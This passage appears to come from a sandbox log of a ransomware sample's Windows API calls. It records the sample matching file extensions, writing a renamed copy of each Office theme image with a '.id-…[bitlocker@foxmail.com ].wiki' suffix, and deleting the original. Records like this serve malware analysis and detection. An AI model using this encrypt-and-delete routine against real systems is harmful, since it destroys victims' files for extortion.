lstrlenW (lpString=".rar") returned 4 [0054.077] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.077] lstrlenW (lpString=".bz2") returned 4 [0054.077] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.077] lstrlenW (lpString=".7z") returned 3 [0054.077] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0054.077] lstrlenW (lpString=".dbf") returned 4 [0054.077] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0054.077] lstrlenW (lpString=".1cd") returned 4 [0054.077] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0054.077] lstrlenW (lpString=".jpg") returned 4 [0054.077] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.077] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0054.077] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0054.077] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.077] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2604) returned 1 [0054.077] CloseHandle (hObject=0x1f4) returned 1 [0054.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif")) returned 0x20 [0054.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0054.078] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.078] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.078] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.078] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0054.079] GetLastError () returned 0x0 [0054.079] ReadFile (in: hFile=0x1f4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0xa2c, lpOverlapped=0x0) returned 1 [0054.082] WriteFile (in: hFile=0x1dc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xa30, lpOverlapped=0x0) returned 1 [0054.082] ReadFile (in: hFile=0x1f4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.083] WriteFile (in: hFile=0x1dc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.083] SetEndOfFile (hFile=0x1dc) returned 1 [0054.083] CloseHandle (hObject=0x1dc) returned 1 [0054.083] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.083] SetEndOfFile (hFile=0x1f4) returned 1 [0054.084] CloseHandle (hObject=0x1f4) returned 1 [0054.084] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0054.084] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif")) returned 1 [0054.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0054.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0054.084] lstrlenW (lpString=".doc") returned 4 [0054.084] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.084] lstrlenW (lpString=".docx") returned 5 [0054.084] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.084] lstrlenW (lpString=".pdf") returned 4 [0054.084] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.084] lstrlenW (lpString=".xls") returned 4 [0054.084] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.084] lstrlenW (lpString=".xlsx") returned 5 [0054.084] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.084] lstrlenW (lpString=".ppt") returned 4 [0054.084] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0054.084] lstrlenW (lpString=".zip") returned 4 [0054.084] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.085] lstrlenW (lpString=".rar") returned 4 [0054.085] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.085] lstrlenW (lpString=".bz2") returned 4 [0054.085] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.085] lstrlenW (lpString=".7z") returned 3 [0054.085] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0054.085] lstrlenW (lpString=".dbf") returned 4 [0054.085] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0054.085] lstrlenW (lpString=".1cd") returned 4 [0054.085] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0054.085] lstrlenW (lpString=".jpg") returned 4 [0054.085] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0054.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0054.085] lstrlenW (lpString=".doc") returned 4 [0054.085] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.085] lstrlenW (lpString=".docx") returned 5 [0054.085] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.085] lstrlenW (lpString=".pdf") returned 4 [0054.085] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.085] lstrlenW (lpString=".xls") returned 4 [0054.085] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.085] lstrlenW (lpString=".xlsx") returned 5 [0054.085] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.085] lstrlenW (lpString=".ppt") returned 4 [0054.085] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0054.085] lstrlenW (lpString=".zip") returned 4 [0054.085] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.085] lstrlenW (lpString=".rar") returned 4 [0054.085] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.085] lstrlenW (lpString=".bz2") returned 4 [0054.085] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.086] lstrlenW (lpString=".7z") returned 3 [0054.086] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0054.086] lstrlenW (lpString=".dbf") returned 4 [0054.086] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0054.086] lstrlenW (lpString=".1cd") returned 4 [0054.086] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0054.086] lstrlenW (lpString=".jpg") returned 4 [0054.086] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.086] lstrcmpiW (lpString1=".PNG", lpString2=".wiki") returned -1 [0054.086] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0054.086] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.087] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=31975) returned 1 [0054.087] CloseHandle (hObject=0x1f4) returned 1 [0054.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png")) returned 0x20 [0054.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0054.087] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.087] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.087] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.087] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0054.088] GetLastError () returned 0x0 [0054.088] ReadFile (in: hFile=0x1f4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x7ce7, lpOverlapped=0x0) returned 1 [0054.090] WriteFile (in: hFile=0x1dc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x7cf0, lpOverlapped=0x0) returned 1 [0054.091] ReadFile (in: hFile=0x1f4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.091] WriteFile (in: hFile=0x1dc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.091] SetEndOfFile (hFile=0x1dc) returned 1 [0054.091] CloseHandle (hObject=0x1dc) returned 1 [0054.091] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.091] SetEndOfFile (hFile=0x1f4) returned 1 [0054.092] CloseHandle (hObject=0x1f4) returned 1 [0054.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0054.092] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png")) returned 1 [0054.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0054.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0054.093] lstrlenW (lpString=".doc") returned 4 [0054.093] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.093] lstrlenW (lpString=".docx") returned 5 [0054.093] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.093] lstrlenW (lpString=".pdf") returned 4 [0054.093] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.093] lstrlenW (lpString=".xls") returned 4 [0054.093] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.093] lstrlenW (lpString=".xlsx") returned 5 [0054.093] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.093] lstrlenW (lpString=".ppt") returned 4 [0054.093] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0054.093] lstrlenW (lpString=".zip") returned 4 [0054.093] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.093] lstrlenW (lpString=".rar") returned 4 [0054.093] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.093] lstrlenW (lpString=".bz2") returned 4 [0054.093] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.093] lstrlenW (lpString=".7z") returned 3 [0054.093] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0054.093] lstrlenW (lpString=".dbf") returned 4 [0054.093] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0054.093] lstrlenW (lpString=".1cd") returned 4 [0054.093] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0054.093] lstrlenW (lpString=".jpg") returned 4 [0054.093] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0054.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0054.094] lstrlenW (lpString=".doc") returned 4 [0054.094] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.094] lstrlenW (lpString=".docx") returned 5 [0054.094] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.094] lstrlenW (lpString=".pdf") returned 4 [0054.094] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.094] lstrlenW (lpString=".xls") returned 4 [0054.094] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.094] lstrlenW (lpString=".xlsx") returned 5 [0054.094] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.094] lstrlenW (lpString=".ppt") returned 4 [0054.094] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0054.094] lstrlenW (lpString=".zip") returned 4 [0054.094] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.094] lstrlenW (lpString=".rar") returned 4 [0054.094] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.094] lstrlenW (lpString=".bz2") returned 4 [0054.094] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.094] lstrlenW (lpString=".7z") returned 3 [0054.094] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0054.094] lstrlenW (lpString=".dbf") returned 4 [0054.094] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0054.094] lstrlenW (lpString=".1cd") returned 4 [0054.094] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0054.094] lstrlenW (lpString=".jpg") returned 4 [0054.094] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.094] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0054.094] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0054.095] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.095] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=4100) returned 1 [0054.095] CloseHandle (hObject=0x1f4) returned 1 [0054.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif")) returned 0x20 [0054.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0054.095] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.095] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.095] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.095] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0054.500] GetLastError () returned 0x0 [0054.500] ReadFile (in: hFile=0x1f4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x1004, lpOverlapped=0x0) returned 1 [0054.502] WriteFile (in: hFile=0x1f0, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x1010, lpOverlapped=0x0) returned 1 [0054.503] ReadFile (in: hFile=0x1f4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.503] WriteFile (in: hFile=0x1f0, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.503] SetEndOfFile (hFile=0x1f0) returned 1 [0054.503] CloseHandle (hObject=0x1f0) returned 1 [0054.503] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.503] SetEndOfFile (hFile=0x1f4) returned 1 [0054.504] CloseHandle (hObject=0x1f4) returned 1 [0054.504] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0054.504] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif")) returned 1 [0054.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0054.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0054.504] lstrlenW (lpString=".doc") returned 4 [0054.504] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.504] lstrlenW (lpString=".docx") returned 5 [0054.504] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.504] lstrlenW (lpString=".pdf") returned 4 [0054.505] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.505] lstrlenW (lpString=".xls") returned 4 [0054.505] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.505] lstrlenW (lpString=".xlsx") returned 5 [0054.505] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.505] lstrlenW (lpString=".ppt") returned 4 [0054.505] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0054.505] lstrlenW (lpString=".zip") returned 4 [0054.505] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.505] lstrlenW (lpString=".rar") returned 4 [0054.505] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.505] lstrlenW (lpString=".bz2") returned 4 [0054.505] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.505] lstrlenW (lpString=".7z") returned 3 [0054.505] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0054.505] lstrlenW (lpString=".dbf") returned 4 [0054.505] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0054.505] lstrlenW (lpString=".1cd") returned 4 [0054.505] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0054.505] lstrlenW (lpString=".jpg") returned 4 [0054.505] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0054.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0054.505] lstrlenW (lpString=".doc") returned 4 [0054.505] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.505] lstrlenW (lpString=".docx") returned 5 [0054.505] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.505] lstrlenW (lpString=".pdf") returned 4 [0054.505] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.505] lstrlenW (lpString=".xls") returned 4 [0054.505] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.506] lstrlenW (lpString=".xlsx") returned 5 [0054.506] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.506] lstrlenW (lpString=".ppt") returned 4 [0054.506] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 